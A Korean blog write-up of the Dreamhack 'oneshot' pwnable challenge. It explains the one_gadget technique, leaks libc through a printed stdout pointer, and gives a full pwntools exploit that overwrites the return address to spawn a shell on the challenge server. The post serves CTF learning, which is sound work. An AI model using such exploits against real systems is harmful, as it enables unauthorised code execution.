취약점분석/Pwnable

[Pwnable] oneshot write-up (one_gadget)

poiri3r 2025. 10. 4. 23:48

오늘은 드림핵의 oneshot 의 write-up을 작성해보겠습니다.

https://dreamhack.io/wargame/challenges/34

 

oneshot

Description이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다.프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요."flag" 파일의 내용을 워게임 사이트에 인

dreamhack.io

 

원 가젯 혹은 magic gadget은 실행하면 셸이 획득되는 코드 뭉치를 말하니다.

원 가젯은 단일 가젯만으로 셸을 실행할 수 있는 매우 강력한 가젯이지만, libc의 버전마다 다르게 존재하고 제약 조건이 다르다는 특징이 있습니다.

제약 조건이 뭔가 할 수 있을텐데, 루비를 설치하고 one-gadget을 입력하면 다음과 같이 정보를 얻을 수 있습니다.

이러한 제약 조건은 glibc조건이 높아질수록 까다로워진다고 합니다.

 

먼저 문제의 보호 기법을 확인해보겠습니다.

카나리는 없지만 NX와 PIE가 적용되어 있습니다.

PIE가 적용되어 있기 때문에 PIE Base를 알아내야 바이너리의 원하는 함수의 주소를 알 수 있습니다.

 

소스코드를 분석해보겠습니다. 워게임환경을 위한 함수를 위한 함수를 빼고 main만 확인해보겠습니다.

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

 

버퍼오버플로우가 발생하긴 하지만 read가 읽는 크기가 크지 않아 버퍼안에 원하는 값을 작성하는 건 힘들 것 같습니다.

또 if(check > 0)문에서 실행을 종료하기 때문에 ret2main과 같은 방법이 불가능하고, memset때문에 버퍼안에 원하는 값을 작성하는 게 불가능합니다.

 

 

실행하면 stdout의 주소를 출력하기 때문에 libc base를 구할 수 있습니다.

 

여기서 버퍼의 크기 16바이트 + 패딩 8바이트 + size_t 8바이트 + saved rbp 8바이트 + 리턴주소가 있기 때문에 저희가 덮을 수 있는 바이트는 버퍼 뒤로 46-0x20인 14바이트입니다. SFP의 8바이트와 RET의 6바이트만 덮을 수 있어서, ROP체인을 이용하는 방법이 어렵습니다.

 

(*printf 뒤의 msg가 위치한 부분)

 

이제 libc base먼저 계산해보겠습니다.

pwndbg로 stdout의 이름을 가지는 변수가 libc에서 참조하는 값을 확인해야합니다.

printf("stdout: %p\n, stdout); 해당하는 어셈블리 코드에서 stdout에 들어가는 심볼값을 확인하면 됩니다.

 

확인해 보니까 libc에서 _I0_2_1_stdout_임을 확인했습니다.

이 다음엔 pwntools 에서 libc.symbols를 통해 알아서 구해진 주솟값을 사용하면 됩니다.

 

payload를 작성해보자면

from pwn import*

p = remote("host", port)
e = ELF("./oneshot")
libc = ELF("libc.so.6")

p.recvuntil(b"stdout: ")
stdout = int(p.recvline(), 16)

libc_base = stdout - libc.symbols["_I0_2_1_stdout_"]

 

여기까지 작성하면 일단 libc base까지 구햇습니다.

 

이제 원 가젯을 찾아봐야하는데 해당 버전에 존재하는 원가젯들을 출력해보겠습니다.

해당 조건이 맞으면 좋겠지만 일일이 확인해보는 것보다, 그냥 4번 시도해보는게 더 싸게 먹히기 때문에 그냥 하나씩 넣어보면 됩니다. 먼저 0x45216부터 해보겠습니다.

gadget = libc_base + 0x45216

payload = b"\x00" * 0x20 + b"A"*8 + p64(gadget)

p.sendafter(b"MSG: ", payload)
p.recvline()

p.interactive()

 

여기서 처음 페이로드를 작성할 때 \x00를 넣는 이유는 소스코드에서 msg 위치 다음에 check변수가 존재하는데 check가 0이 아니면 종료시키기 때문에 그렇습니다.

실행을 해보니까 바로 되더라고요. 다른 원가젯들을 사용할 때는 안되는데 0x45216에서만 가능합니다.

 

익스플로잇 전문입니다.

from pwn import*

p = remote("host8.dreamhack.games", 10281)
e = ELF("./oneshot")
libc = ELF("libc.so.6")

p.recvuntil(b"stdout: ")
stdout = int(p.recvline(), 16)

libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]

gadget = libc_base + 0x45216

payload = b"\x00" * 0x20 + b"A"*8 + p64(gadget)

p.sendafter(b"MSG: ", payload)
p.recvline()

p.interactive()

 

이번시간엔 원가젯에 대해 살펴보았습니다

익스플로잇중에 아직까지 가능한 몇 안되는 익스플로잇인거 같네요.

조건이 좀 까다롭긴해도 엄청나게 강력한 익스플로잇인 것 같습니다.

이상으로 포스팅을 마치겠습니다. 감사합니다~